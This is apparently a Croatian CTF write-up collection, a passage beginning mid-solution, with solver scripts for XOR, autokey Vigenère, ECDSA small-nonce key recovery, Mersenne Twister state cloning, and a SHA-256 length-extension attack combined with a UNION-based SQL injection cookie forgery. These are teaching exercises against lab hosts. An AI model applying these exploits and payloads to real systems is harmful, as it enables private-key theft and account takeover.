zato početak flaga može biti jedino na pozicijama 0-9

Radi formata flaga zna se da flag počinje s "CTF2025[" i završava s "]",
znakovi "CTF" će biti 3 jedinstvena znaka za redom u plaintextu,
kao i uglate zagrade ("CTF" je u uppercaseu, dok je ostatak charseta u lowercaseu)

Pomoću ovih činjenica, analizom šifrata, može se pretpostaviti pozicija početka flaga, XOR operacijom pronaći 9 bajtova ključa - bajtovi ključa koji su bili korišteni za enkripciju početka flaga “CTF2025[” i zadnjeg znaka “]” te od tuda nastaviti s dekripcijom šifrata.

Skripta za rješavanje zadatka dana je u nastavku.

from collections import defaultdict

def find_ctf_candidates(ciphertexts):
    # Count frequency of each byte value in entire ciphertext
    byte_freq = defaultdict(int)
    for line in ciphertexts:
        for byte in line:
            byte_freq[byte] += 1
    
    candidates = []
    for line_idx, line in enumerate(ciphertexts):
        # Only consider positions 0-9 for 'C'
        for pos in range(0, 10):
            if pos + 2 >= len(line):
                continue

            # Get the 3 bytes - "CTF" cand.
            bytes_triplet = line[pos:pos+3]
                
            # Check uniqueness
            if all(byte_freq[b] == 1 for b in bytes_triplet):
                candidates.append((line_idx, pos))

    return candidates

def recover_key(ct_line, pos):
    key_bytes = bytearray()
    # Known plaintext for the flag prefix
    known_plain = b'CTF2025['
    for i in range(8):
        key_byte = ct_line[pos + i] ^ known_plain[i]
        key_bytes.append(key_byte)
    return bytes(key_bytes)

def decrypt_line_anchored(ct_line, key, anchor_pos):
    decrypted = bytearray()
    key_len = len(key)
    for i, byte in enumerate(ct_line):
        # Calculate key index based on anchor position
        key_index = (i - anchor_pos) % key_len
        decrypted.append(byte ^ key[key_index])
    return decrypted

def is_valid_flag_line(flag_text, pos):
    if not flag_text.startswith('CTF2025[', pos):
        return False
    
    # Check closing bracket is at position+20
    if len(flag_text) < pos + 21 or flag_text[pos+20] != ']':
        return False
    
    # Check 12-digit number is dec.-only
    digits = flag_text[pos+8:pos+20]
    return all(c in '0123456789' for c in digits)

def main():
    try:
        with open('output.txt', 'r') as f:
            hex_lines = f.readlines()
    except FileNotFoundError:
        print("Error: output.txt not found")
        return
    
    ciphertexts = []
    for hex_str in hex_lines:
        hex_str = hex_str.strip()
        try:
            ciphertexts.append(bytes.fromhex(hex_str))
        except ValueError:
            print(f"Error: Invalid hex data: {hex_str}")
            return
    
    print(f"Loaded {len(ciphertexts)} ciphertext lines")
    
    # Find CTF candidates with uniqueness
    ctf_candidates = find_ctf_candidates(ciphertexts)
    print(f"Found {len(ctf_candidates)} CTF candidates (globally unique bytes)")
    
    if not ctf_candidates:
        print("Error: No valid CTF candidates found")
        return
    
    # Try each candidate
    for candidate_idx, (line_idx, pos) in enumerate(ctf_candidates):
        print(f"\nTrying candidate {candidate_idx+1}: Line {line_idx+1}, Position {pos}")
        
        try:
            # Recover 8-byte key from "CTF2025[...]" pattern
            key = recover_key(ciphertexts[line_idx], pos)
            print(f"  Recovered key: {key.hex()}")
            
            # Decrypt flag line with anchored key
            flag_decrypted = decrypt_line_anchored(ciphertexts[line_idx], key, pos)
            
            try:
                flag_text = flag_decrypted.decode('ascii')
            except UnicodeDecodeError:
                print("  Flag line decoding failed")
                continue
            
            # Validate flag format
            if not is_valid_flag_line(flag_text, pos):
                print("  Flag format validation failed")
                continue
                
            print("  Valid flag format found")
            
            decrypted_lines = []
            for i, ct in enumerate(ciphertexts):
                decrypted = decrypt_line_anchored(ct, key, 0)
                try:
                    text = decrypted.decode('ascii')
                    decrypted_lines.append(text)
                except UnicodeDecodeError:
                    decrypted_lines.append("DECRYPTION_FAILED")
            
            with open('decrypted.txt', 'w') as f:
                for line in decrypted_lines:
                    f.write(line + '\n')
            
            print("Results written to decrypted.txt")
            print("\nFlag candidate:")
            print(f"Line {line_idx+1}: {flag_text}")
            return
                
        except Exception as e:
            print(f"  Error processing candidate: {e}")
    
    print("\nError: No valid candidates")

if __name__ == "__main__":
    main()

Jumbo 2

Zadatak je generiran s naredbom

python generator.py --flag "CTF2025[...]" --out cypher.txt --seed-key-len 12

Uz zadatak su dani rječnik, izvorni kod korišten za šifriranje i šifrat.

Iz naredbe u tekstu zadatka se vidi da je dužina ključa 12 znakova te se analizom koda može vidjeti da kod radi base64 enkodiranje plaintexta i onda koristi autokey Vigenere algoritam s nasumično generiranim ključem.

Ovaj zadatak se može riješiti na više načina, no glavna činjenica koja se koristi za rješenje u nastavku je da što je kandidat ključa sličniji korištenom ključu, to će pokušaj dešifriranja biti sličniji mogućem plaintextu, odnosno pri pokušaju dešifriranja će se više base64 plaintexta moći uspješno dekodirati u validne riječi engleskog rječnika.

Zna se da je plaintext bio enkodiran s base64, također se zna da je korišten engleski rječnik kao wordlist pa se dodatno može generirati frequency analysis nad base64 engleskog rječnika danog uz zadatak iako nije potrebno za rješenje.

Rješenje u nastavku koristi genetic algoritam, gdje generira nasumične ključeve, nađe kandidate za koje se dešifrirani tekst najuspješnije može dekodirati algoritmom base64 u engleske riječi. Sljedeću generaciju stvara iz najboljih kandidata, uz miješanje kandidata i mutacije.

Skripta je kompatibilna uz pypy implementaciju, te se preporučuje njeno korištenje. Skripti se mogu mijenjati argumenti pri rješavanju, ako skripta ne uspije odmah pronaći rješenje, može se povećati broj generacija (parametar “gens”) i ponovno pokrenuti.

Skripti su potrebne datoteke:

english_wordlist.txt
cypher.txt

dane uz zadatak.

Skripta se pokreće s pomoću pypy i danih argumenata:

pypy3 solver.py --cypher cypher.txt --wordlist english_wordlist.txt --seedlen 12 --gens 100

Ako skripta ne pronađe rješenje, povećajte zadnji parametar i ponovno pokrenite.

Skripta je dana u nastavku.

#!/usr/bin/env python3
import argparse
import base64
import binascii
import random
import re
import sys
import time

# Early-stop score threshold
STOP_SCORE = 2100.0

BASE64_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
GEN_ALPHABET = BASE64_ALPHABET + "="
ALPHABET_FOR_SEED = BASE64_ALPHABET  # seeds do not include padding

# Flag regex
FLAG2025_TEXT  = re.compile(br"CTF2025\[\d{12}\]")

SAMPLE_WORDS = set(["the","and","that","this","with","you","for","flag","secret","find","if","is","are","in","a","to","of","it"])


# ---------------- Utilities -----------------
def load_ciphertext(path):
    """Loads and cleans the ciphertext from a file."""
    with open(path, 'r', encoding='utf-8', errors='ignore') as f:
        s = ''.join(line.strip() for line in f)
    return ''.join(ch for ch in s if ch in GEN_ALPHABET)

def load_wordlist(path):
    """Loads a wordlist into a set."""
    words = set()
    with open(path, 'r', encoding='utf-8', errors='ignore') as f:
        for line in f:
            w = line.strip().lower()
            if w:
                words.add(w)
    return words

def decrypt_autokey(ciphertext, seed, alphabet=GEN_ALPHABET):
    """Decrypt ciphertext using an autokey Vigenere."""
    index = {c:i for i,c in enumerate(alphabet)}
    try:
        cidx = [index[ch] for ch in ciphertext]
    except KeyError:
        return None
    sidx = [index[ch] for ch in seed]
    plen = len(ciphertext)
    pidx = [None]*plen
    seedlen = len(sidx)
    for i in range(plen):
        if i < seedlen:
            k = sidx[i]
        else:
            k = pidx[i - seedlen]
            if k is None:
                return None
        pidx[i] = (cidx[i] - k) % len(alphabet)
    inv = {i:c for i,c in enumerate(alphabet)}
    return ''.join(inv[v] for v in pidx)

def try_base64_decode_with_padding(b64text):
    """Try to decode a base64 string by using different paddings."""
    for pad in range(0, 4):
        s = b64text + ('=' * pad)
        try:
            decoded = base64.b64decode(s, validate=True)
            return decoded, pad
        except binascii.Error:
            continue
    # Tolerant fallback
    try:
        return base64.b64decode(b64text, validate=False), None
    except Exception:
        return None, None

def find_ctf2025_in_bytes(b):
    """Search for the flag pattern."""
    if b is None:
        return None
    m = FLAG2025_TEXT.search(b)
    if m:
        try:
            return m.group(0).decode('utf-8', errors='ignore')
        except:
            return m.group(0).decode('latin1', errors='ignore')
    return None

def score_decoded_bytes(b, wordset):
    """Scores decoded bytes based on printable characters and wordlist matches."""
    if b is None or len(b) == 0:
        return -1e9
    L = len(b)
    printable = sum(1 for x in b if 32 <= x <= 126)
    printable_ratio = printable / L
    score = printable_ratio * 10.0

    if printable_ratio > 0.6:
        try:
            s = b.decode('utf-8', errors='ignore').lower()
        except Exception:
            s = ''
        words = s.split()
        if words and wordset:
            common_count = sum(1 for w in words if any(cw in w for cw in SAMPLE_WORDS) or w in wordset)
            score += common_count * 2.0
        if "ctf2025[" in s:
            score += 2000.0
    return score

# ---------------- GA helpers ----------------
def random_seed_string(length, rng):
    """Generates a random seed string."""
    return ''.join(rng.choice(ALPHABET_FOR_SEED) for _ in range(length))

def initial_population(popsize, seedlen, rng):
    """Create the initial population of random seeds."""
    return [random_seed_string(seedlen, rng) for _ in range(popsize)]

def mutate_seed(seed, rng, mutation_rate=0.15):
    """Mutates a seed string based on a mutation rate."""
    s = list(seed)
    for i in range(len(s)):
        if rng.random() < mutation_rate:
            s[i] = rng.choice(ALPHABET_FOR_SEED)
    return ''.join(s)

def crossover(a, b, rng):
    """Perform a single-point crossover between two parent seeds."""
    if len(a) != len(b):
        return a
    pt = rng.randrange(1, len(a))
    return a[:pt] + b[pt:]

def evaluate_seed(ciphertext, seed, wordset):
    """Evaluates a single seed, returning its score and decrypted outputs."""
    p_b64 = decrypt_autokey(ciphertext, seed)
    if p_b64 is None:
        return -1e9, None, None, None
    if "CTF2025[" in p_b64:
        return 1e6, p_b64, None, "in_b64"

    decoded, pad = try_base64_decode_with_padding(p_b64)
    found = find_ctf2025_in_bytes(decoded)
    if found:
        return 10000, p_b64, decoded, pad  # found flag

    sc = score_decoded_bytes(decoded, wordset)
    return sc, p_b64, decoded, pad

# ---------------- GA core ----------------
def weighted_choice_index(probs, rng):
    """Selects an index based on a list of probabilities."""
    r = rng.random()
    cm = 0.0
    for i, p in enumerate(probs):
        cm += p
        if r <= cm:
            return i
    return len(probs) - 1

def run_ga(ciphertext, wordset, seedlen, popsize=1500, gens=30, elitism=0.05, mutation_rate=0.12, rng_seed=None):
    """Runs the genetic algorithm to find the best decryption seed."""
    rng = random.Random(rng_seed)
    pop = initial_population(popsize, seedlen, rng)
    pop_scores = []
    best_overall = None
    elitist_count = max(1, int(popsize * elitism))

    print("\n--- Phase 1: Generating initial population... ---")
    for seed in pop:
        sc, p_b64, decoded, pad = evaluate_seed(ciphertext, seed, wordset)
        pop_scores.append((sc, seed, p_b64, decoded, pad))
        if best_overall is None or sc > best_overall[0]:
            best_overall = (sc, seed, p_b64, decoded, pad)
        if sc >= 9999: # Immediate flag detection
            return best_overall, 0, pop_scores

    print(f"\n--- Phase 2: Evolving population for {gens} generations... ---")
    start_time = time.time()
    for gen in range(1, gens + 1):
        pop_scores.sort(reverse=True, key=lambda x: x[0])
        best_score, best_seed, _, _, _ = pop_scores[0]
        print(f"Gen {gen}/{gens} | Best Score: {best_score:.2f} | Best Seed: {repr(best_seed)}")

        if best_score >= STOP_SCORE:
            return pop_scores[0], gen, pop_scores

        elites = [seed for _, seed, _, _, _ in pop_scores[:elitist_count]]
        scores_for_wheel = [max(0.0, sc) + 1e-6 for sc, _, _, _, _ in pop_scores]
        total_score = sum(scores_for_wheel)
        probs = [s / total_score for s in scores_for_wheel] if total_score > 0 else [1 / len(scores_for_wheel)] * len(scores_for_wheel)

        new_pop = elites.copy()
        while len(new_pop) < popsize:
            i1 = weighted_choice_index(probs, rng)
            i2 = weighted_choice_index(probs, rng)
            child = crossover(pop_scores[i1][1], pop_scores[i2][1], rng)
            child = mutate_seed(child, rng, mutation_rate=mutation_rate)
            new_pop.append(child)

        pop = new_pop
        pop_scores = []
        for seed in pop:
            sc, p_b64, decoded, pad = evaluate_seed(ciphertext, seed, wordset)
            pop_scores.append((sc, seed, p_b64, decoded, pad))
            if best_overall is None or sc > best_overall[0]:
                best_overall = (sc, seed, p_b64, decoded, pad)
            if sc >= 1e6:
                print(f"\nHigh-scoring candidate found during gen {gen}.")
                return (sc, seed, p_b64, decoded, pad), gen, pop_scores

    print(f"GA finished {gens} generations in {time.time() - start_time:.1f}s")
    pop_scores.sort(reverse=True, key=lambda x: x[0])
    return best_overall, gens, pop_scores

# ---------------- Print & exit ----------------
def print_and_exit_on_flag(result_tuple):
    """Checks if a result contains the flag and exits if it does."""
    if result_tuple is None:
        return
    sc, seed, p_b64, decoded, pad = result_tuple
    found = find_ctf2025_in_bytes(decoded)
    if found:
        print("\n*** CTF FLAG FOUND ***")
        print(found)
        print("\nContext (base64 candidate excerpt):")
        print((p_b64[:400] + ("..." if len(p_b64) > 400 else "")))
        sys.exit(0)

def pretty_print_candidate(sol_tuple):
    """Prints a formatted summary of a solution candidate."""
    sc, seed, p_b64, decoded, pad = sol_tuple
    print("\n=== SOLUTION CANDIDATE ===")
    print(f"Score: {sc:.2f}")
    print(f"Seed: {seed}")
    if p_b64:
        print("Base64 candidate (excerpt):")
        print(p_b64[:300] + ("..." if len(p_b64) > 300 else ""))
    if decoded is not None:
        try:
            text = decoded.decode('utf-8', errors='ignore')
            print("\nDecoded (utf-8 snippet):\n")
            print(text[:1200])
        except Exception:
            print("Decoded binary length:", len(decoded))
    print("=== End candidate ===\n")

# ---------------- CLI ----------------
def parse_args():
    """Parses command-line arguments."""
    p = argparse.ArgumentParser(description="GA solver for Autokey Vigenere over Base64")
    p.add_argument("--cypher", required=True, help="Ciphertext file")
    p.add_argument("--wordlist", required=True, help="English wordlist for scoring")
    p.add_argument("--seedlen", type=int, default=6, help="Seed length to search for")
    p.add_argument("--popsize", type=int, default=1500, help="GA population size")
    p.add_argument("--gens", type=int, default=30, help="Number of generations to run")
    p.add_argument("--elitism", type=float, default=0.05, help="Fraction of elites to keep")
    p.add_argument("--mutation", type=float, default=0.12, help="Per-character mutation probability")
    p.add_argument("--seed", type=int, default=None, help="RNG seed for reproducibility")
    return p.parse_args()

def main():
    """Main execution function."""
    args = parse_args()
    cypher = load_ciphertext(args.cypher)
    if not cypher:
        print("Empty ciphertext (after cleaning). Exiting.")
        sys.exit(2)
    wordset = load_wordlist(args.wordlist)
    print(f"Loaded {len(wordset)} words for scoring.")

    best, _, pop_scores = run_ga(cypher, wordset, args.seedlen, popsize=args.popsize, gens=args.gens, elitism=args.elitism, mutation_rate=args.mutation, rng_seed=args.seed)

    if best:
        # Check the best candidate from the run
        print_and_exit_on_flag(best)

        # No flag was found, show the top candidates
        print("\nGA complete. No flag found automatically. Showing top candidates:")
        pop_scores.sort(reverse=True, key=lambda x: x[0])
        for i, (sc, seed, _, _, _) in enumerate(pop_scores[:10], start=1):
            print(f"[{i}] score={sc:.2f} seed={seed}")

        pretty_print_candidate(best)

    print("GA finished without finding the flag. Try increasing population/generations or adjust parameters.")
    sys.exit(1)

if __name__ == "__main__":
    main()

ECDSA

Jesmo li dobro implementirali digitalni potpis?

Na remote instancu se možete spojiti Linux naredbom nc chal.platforma.hacknite.hr 14004 ili Windows naredbom telnet chal.platforma.hacknite.hr 14004

Uz zadatak je dan i izvorni kod servera.

Ovaj zadatak koristi ECDSA (Elliptic Curve Digital Signature Algorithm) za enkripciju.

Ranjivost je u sign funkciji, u ovoj liniji koda

def sign(msg: bytes):
    ...
    k = random.randint(1, 2**16 - 1)

Vrijednost varijable k je u rasponu 1 do 2^16, što je samo 65536 različitih mogućih vrijednosti i lagano je za napravit bruteforce.

Kako bi se riješio zadatak, prvo se pošalje jedna poruka, na koju server odgovori s potpisom te poruke u kojoj su i vrijednosti r i s.

Enter message to sign: poruka1
SHA256(msg): 5496f1fcb56dc0744d463b322bbb4b2230e0ce41825a2984a19b5c258db21f33
r = 98154318813502776403537772725871540892940250991044631975797900508107983601605
s = 112433433771796392361992032339295692028196902438634484218793073151861495967099

vrijednosti r i s su u ispravnim implementacijama javne i nije problem ako se znaju, no problem je što je poznato da je vrijednost k jako mala.

s se računa ovom formulom

s = (k_inverse * (h + r * priv)) % n

U ovoj jednadžbi, h, s i r su poznati, k i priv (privatni ključ) su nepoznati, ali je k dovoljno mal da se može pronaći pokušavanjem svih mogućih vrijednosti za k u ovoj formuli.

r = (k * G).x % n

Gdje su G i n standardne konstante krivulje SECP256k1 koja se koristi u zadatku, a r je također znan.

sk = SigningKey.generate(curve=SECP256k1)

vk = sk.verifying_key
G = SECP256k1.generator
n = SECP256k1.order
priv = sk.privkey.secret_multiplier 

kada je pronađena vrijednost k, može se pronaći i vrijednost privatnog ključa, nad kojom se radi SHA256 i potom XOR njome nad flagom, kada se dohvaća enkriptirani flag.

Skripta koja ovim postupkom pronalazi flag je u nastavku.

#!/usr/bin/env python3
import sys
import socket
import hashlib
import base64
from ecdsa import SECP256k1
from ecdsa.ecdsa import generator_secp256k1

HOST = "chal.platforma.hacknite.hr"
PORT = 14004

G = generator_secp256k1
n = SECP256k1.order

def recv_until(sock, delim: bytes):
    buf = b""
    while not buf.endswith(delim):
        chunk = sock.recv(1)
        if not chunk:
            break
        buf += chunk
    return buf


def sendline(sock, line: bytes):
    sock.sendall(line + b"\n")


def parse_signature_block(block: bytes):
    lines = block.split(b"\n")
    h_line = [l for l in lines if l.startswith(b"SHA256(msg):")][0]
    r_line = [l for l in lines if l.startswith(b"r =")][0]
    s_line = [l for l in lines if l.startswith(b"s =")][0]

    h = int(h_line.split(b":")[1].strip(), 16)
    r = int(r_line.split(b"=")[1].strip())
    s = int(s_line.split(b"=")[1].strip())
    return h, r, s


def bruteforce_k_and_recover_priv(h, r, s):
    for k in range(1, 2**16):
        R = k * G
        if R.x() % n != r:
            continue
        try:
            r_inv = pow(r, -1, n)
            d = (s * k - h) * r_inv % n
            print(f"[+] Found private key: {hex(d)}")
            return d
        except Exception:
            continue
    raise ValueError("Private key not found")


def derive_keystream(priv_int: int, length: int) -> bytes:
    key = hashlib.sha256(str(priv_int).encode()).digest()
    stream = b""
    while len(stream) < length:
        key = hashlib.sha256(key).digest()
        stream += key
    return stream[:length]


def decrypt_flag(encrypted_b64: bytes, priv_int: int) -> bytes:
    ct = base64.b64decode(encrypted_b64.strip())
    ks = derive_keystream(priv_int, len(ct))
    return bytes(a ^ b for a, b in zip(ct, ks))


def main():
    with socket.create_connection((HOST, PORT)) as sock:
        print("[*] Connected to server")

        recv_until(sock, b"> ")

        sendline(sock, b"1")
        recv_until(sock, b"sign: ")
        known_msg = b"known message"
        sendline(sock, known_msg)

        sig_block = recv_until(sock, b"> ")
        h, r, s = parse_signature_block(sig_block)

        print("[*] Got signature on known message")
        d = bruteforce_k_and_recover_priv(h, r, s)

        # Option 2: Get encrypted flag
        sendline(sock, b"2")
        encrypted_line = recv_until(sock, b"\n")
        b64_ct = encrypted_line.split(b"Encrypted flag: ")[1]

        flag = decrypt_flag(b64_ct, d)
        print(f"[+] Decrypted flag: {flag.decode(errors='ignore')}")


if __name__ == "__main__":
    main()

19937

Prati tok

Spoji se Linux naredbom netcat nc chal.platforma.hacknite.hr 14006 ili telnet telnet chal.platforma.hacknite.hr 14006 ako koristiš Windows

Uz zadatak je dan i izvorni kod servera.

Python random modul koristi Mersenne Twister kao generator nasumičnih brojeva iz inicijalnog seeda. Pri početku koda se vidi kako je inicijaliziran s punih 624 riječi, što je maximum.

STATE_WORDS = 624
raw_state = [int.from_bytes(os.urandom(4), 'big') & 0xFFFFFFFF
             for _ in range(STATE_WORDS)]
init_state = (3, tuple(raw_state + [STATE_WORDS]), None)

rng = random.Random()
rng.setstate(init_state)

U ovom smislu, jedna riječ je 4 bajta.

MT je pseudo nasumični generator brojeva, znači da koristi inicijalizirano stanje, odnosno 624 riječi za generiranje nasumičnih vrijednosti. Poznata je implementacija kako se iz stanja generiraju nasumični brojevi, te se inverzom tih operacija, uz dovoljnu količinu sekvencijalnih generiranih izlaza može rekonstruirati inicijalno stanje i predvidjeti sljedeći izlaz.

za inicijalno stanje od 624 riječi, potrebno je pročitati istu količinu sekvencijalnog izlaza, što je

624 riječi * 4 bajta po riječi = 2496 bajtova

To se u zadatku može napraviti slanjem null bajtova, nad kojima se radi XOR operacija s generiranim izlazom servera.

Nakon toga se radi inverz operacija za generiranje nasumičnih brojeva iz stanja, i onda kad se uspješno rekonstruiralo stanje, zatraži se enkriptirani flag, predvidi se čime je on bio enkriptiran s pomoću rekonstruiranog stanja i dešifrira se flag.

Skripta za rješavanje zadatka je u nastavku.

#!/usr/bin/env python3
import subprocess, base64, random, sys
from math import ceil

# MT19937 parameters
w, n = 32, 624
u, s, t, l = 11, 7, 15, 18
d = 0xFFFFFFFF
b = 0x9D2C5680
c = 0xEFC60000

HOST = "chal.platforma.hacknite.hr"
PORT = "14006"

# untempering functions
def undo_right_shift_xor(y, shift):
    last = y
    for _ in range(0, w, shift):
        last = y ^ (last >> shift)
    return last

def undo_left_shift_mask_xor(y, shift, mask):
    last = y
    for _ in range(0, w, shift):
        last = y ^ ((last << shift) & mask)
    return last

def untemper(y):
    y = undo_right_shift_xor(y, l)
    y = undo_left_shift_mask_xor(y, t, c)
    y = undo_left_shift_mask_xor(y, s, b)
    y = undo_right_shift_xor(y, u)
    return y

def recv_until(proc, prompt, desc=""):
    buf = b""
    while not buf.endswith(prompt):
        ch = proc.stdout.read(1)
        if not ch:
            raise EOFError(f"EOF waiting for {desc}")
        buf += ch
    return buf

def recv_line(proc, desc=""):
    return proc.stdout.readline()

def keystream_from_clone(clone, length):
    out = bytearray()
    words = ceil(length/4)
    for _ in range(words):
        w32 = clone.getrandbits(32)
        out += w32.to_bytes(4, 'little')
    return bytes(out[:length])

if __name__ == "__main__":
    proc = subprocess.Popen(
        ["nc", HOST, PORT],
        stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE
    )

    # Initial interaction
    recv_line(proc, "welcome")
    recv_until(proc, b"> ", "menu")

    # Leak keystream with null bytes
    proc.stdin.write(b"1\n")
    proc.stdin.flush()
    recv_until(proc, b": ", "plaintext prompt")
    
    num_bytes = 624 * 4  # 2496 bytes
    proc.stdin.write(b"\x00" * num_bytes + b"\n")
    proc.stdin.flush()
    
    # Process leaked keystream
    line = recv_line(proc, "ct leak")
    ks_bytes = base64.b64decode(line.split(b"CT=")[1].strip())
    
    # Convert to integers and untemper
    nums = [int.from_bytes(ks_bytes[i:i+4], "little") for i in range(0, len(ks_bytes), 4)]
    state = [untemper(v) for v in nums]
    
    # Initialize clone PRNG
    clone = random.Random()
    STATE_WORDS = 624
    clone.setstate((3, tuple(state + [STATE_WORDS]), None))
    
    # Request flag
    recv_until(proc, b"> ", "menu before flag")
    proc.stdin.write(b"2\n")
    proc.stdin.flush()
    
    line2 = recv_line(proc, "flag ct")
    ct_flag = base64.b64decode(line2.split(b"CT=")[1].strip())

    # Generate keystream for flag length
    ks_flag = keystream_from_clone(clone, len(ct_flag))
    
    flag = bytes(a ^ b for a, b in zip(ct_flag, ks_flag))
    
    # Safe flag output
    try:
        print("Flag:", flag.decode('utf-8'))
    except UnicodeDecodeError:
        print("Flag (raw bytes):", flag)
        print("Flag (hex):", flag.hex())

    proc.terminate()

Zapamti me

Puno rješenje zadatka je napisano ovdje:

CTF writeup - Zapamti me

Produljeni sažetci

Kripto i web igrači/ce u vašem timu trebali bi surađivati na ovom zadatku.

http://chal.platforma.hacknite.hr:14005/

Uz zadatak je dan i izvorni kod zadatka.

Ovaj zadatak ima dvije ranjivosti, prva ranjivost je Length extension attack nad session kolačićem, čiji se signature stvara kao sha256 sažetak app.secret_key varijable koja je nepoznata i korisničke ID vrijednosti.

data = app.secret_key + user_id_bytes
signature = hashlib.sha256(data).digest()
signature_b64 = base64.urlsafe_b64encode(signature).decode()

Da je obrnuti redoslijed ovih dviju vrijednosti u signatureu:

data = user_id_bytes + app.secret_key
signature = hashlib.sha256(data).digest()
signature_b64 = base64.urlsafe_b64encode(signature).decode()

Napad ne bi bio moguć.

Druga ranjivost je SQL Injection nad korisnikovom ID vrijednosti, pročitane iz korisničkog kolačića.

auth_cookie = request.cookies.get('session')
...
parts = auth_cookie.split(':')
...
user_id_b64, signature_b64 = parts
...
user_id = base64_urlsafe_decode_with_padding(user_id_b64.strip())
...
cursor.execute(f"SELECT id, username FROM users WHERE id = '{safe_ascii_cast_from_bytes(user_id)}'")

Alat za generiranje produljenog sažetka koji se koristi u ovom rješenju je hlexstend.

SQL injection payload koji u middleware funkciji parsiranja sesije postavlja korisnika na admina je:

payload = "' AND 1=0 UNION SELECT id, username FROM users WHERE username='admin' -- "

Skripta koja koristi hlexstend alat kako bi generirala korisnički kolačić s ovim payloadom i signature za njega produljenjem sažetka je:

import base64
import sys
import hlextend 

def ensure_padding(b64_str):
    padding_needed = 4 - (len(b64_str) % 4)
    if padding_needed != 4:
        return b64_str + '=' * padding_needed
    return b64_str

if len(sys.argv) != 2:
    print("Usage: python exploit.py 'b64_userid:b64_signature'")
    sys.exit(1)

original_cookie = sys.argv[1]
user_id_b64, original_sig_b64 = original_cookie.split(':', 1)

# Proper padding for input values
user_id_b64 = ensure_padding(user_id_b64)
original_sig_b64 = ensure_padding(original_sig_b64)

# Decode original values
original_user_id_bytes = base64.urlsafe_b64decode(user_id_b64)
original_sig = base64.urlsafe_b64decode(original_sig_b64)

# Attack parameters
key_length = 28  # Known secret key length
payload = "' AND 1=0 UNION SELECT id, username FROM users WHERE username='admin' -- "


# Perform length extension
sha = hlextend.new('sha256')
new_user_id_bytes = sha.extend(
    payload.encode('utf-8'),
    original_user_id_bytes,
    key_length,
    original_sig.hex()
)

# Get new signature
new_sig_hex = sha.hexdigest()
new_sig = bytes.fromhex(new_sig_hex)

# Base64 encode everything with proper padding
new_user_id_b64 = base64.urlsafe_b64encode(new_user_id_bytes).decode()
new_sig_b64 = base64.urlsafe_b64encode(new_sig).decode()

# Proper padding in output
new_user_id_b64 = ensure_padding(new_user_id_b64)
new_sig_b64 = ensure_padding(new_sig_b64)

malicious_cookie = f"{new_user_id_b64}:{new_sig_b64}"

print("Malicious payload Cookie:", malicious_cookie)

Ova skripta se može iskoristiti za generaciju payload kolačića iz korisničkog kolačića, nakon što je stvoren korisnički račun, a u nastavku je skripta koja to radi automatizirano, koristi prethodnu skriptu, postavlja payload kolačić i iščitava flag.

import requests
import random
import string
import subprocess
import sys
import re

# Configuration
HOST = "chal.platforma.hacknite.hr" 
PORT = 14005        
BASE_URL = f"http://{HOST}:{PORT}"

def generate_random_credentials(length=15):
    chars = string.ascii_letters + string.digits
    username = ''.join(random.choice(chars) for _ in range(length))
    password = ''.join(random.choice(chars) for _ in range(length))
    return username, password

def register_user(username, password):
    data = {
        'username': username,
        'password': password,
        'passwordCheck': password
    }
    
    response = requests.post(f"{BASE_URL}/register", data=data, allow_redirects=False)
    
    if response.status_code == 302 and 'session' in response.cookies:
        return response.cookies['session']
    else:
        print(f"Registration failed. Status: {response.status_code}")
        print(f"Response headers: {response.headers}")
        return None

def extract_payload_cookie(output):
    if ":" in output:
        parts = output.split(":")
        if len(parts) > 1:
            cookie_value = ":".join(parts[1:]).strip()
            return cookie_value
    return output.strip()

def get_flag_with_payload(payload_cookie):
    cookies = {'session': payload_cookie}
    
    response = requests.get(BASE_URL, cookies=cookies, allow_redirects=False)
    
    print(f"Response status: {response.status_code}")
    print(f"Response headers: {response.headers}")
    
    if response.status_code == 302:
        redirect_url = response.headers.get('Location', '/')
        if redirect_url.startswith('/'):
            redirect_url = BASE_URL + redirect_url
        print(f"Following redirect to: {redirect_url}")
        response = requests.get(redirect_url, cookies=cookies)
    
    flag_pattern = r'CTF2025\[[^\]]+\]'
    match = re.search(flag_pattern, response.text)
    
    if match:
        return match.group(0)
    else:
        error_match = re.search(r'message=([^"]+)', response.text)
        if error_match:
            print(f"Server message: {error_match.group(1)}")
        return None

def main():
    print(f"Target: {BASE_URL}")
    
    print("Step 1: Registering a new user...")
    username, password = generate_random_credentials()
    print(f"Username: {username}")
    print(f"Password: {password}")
    
    user_cookie = register_user(username, password)
    
    if not user_cookie:
        print("Failed to register user or get cookie")
        return
    
    print(f"User cookie obtained: {user_cookie}")
    
    print("\nStep 2: Generating admin payload...")
    try:
        result = subprocess.run(
            ['python', 'payload_gen.py', user_cookie],
            capture_output=True,
            text=True,
            check=True
        )
        raw_output = result.stdout.strip()
        print(f"Raw payload_gen output: {raw_output}")
        
        payload_cookie = extract_payload_cookie(raw_output)
        print(f"Extracted payload cookie: {payload_cookie}")
        
    except subprocess.CalledProcessError as e:
        print(f"Error running payload_gen.py: {e}")
        print(f"stderr: {e.stderr}")
        return
    except FileNotFoundError:
        print("Error: payload_gen.py not found in current directory")
        return
    
    print("\nStep 3: Retrieving flag with admin payload...")
    flag = get_flag_with_payload(payload_cookie)
    
    if flag:
        print(f"\nFLAG: {flag}")
    else:
        print("Failed to retrieve flag")

if __name__ == "__main__":
    main()

Web sigurnost

Neispravan gumb

Navodno je s ove stranice moguće doći do flaga, ali čini se da gumb ne radi

http://chal.platforma.hacknite.hr:14014

Pritiskom na gumb, vraćena poruka je

{"error":"Unsupported Media Type. Use Content-Type: application/json."}

Može se riješiti pisanjem odgovarajućeg CURL zahtjeva

curl -X POST "http://chal.platforma.hacknite.hr:14014/fetch_flag" \
  -H "Content-Type: application/json" \
  -d '{"flag": true}'

Skriveni API

Možete li pronaći API endpoint koji vam daje flag?

http://chal.platforma.hacknite.hr:14015

odlaskom na

http://chal.platforma.hacknite.hr:14015/docs/apidocs.txt

poruka je

moved api docs to swagger

Odlaskom na

http://chal.platforma.hacknite.hr:14015/swagger

Vide se endpointovi, među kojima se vidi i endpoint

/super-secret-flag-storage-endpointascei3w2q

Također, na početnoj stranici vidi se da postoji obfuscirana skripta, koja se može deobfuscirati korištenjem web deobfuskatora

Tu se može vidjeti da se traženjem guest pristupa, šalje hash

84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec

na endpoint

/api/getguestaccess

Unosom ovog hasha na crackstation

vidi se da je ovo sha256 sažetak od teksta

guest

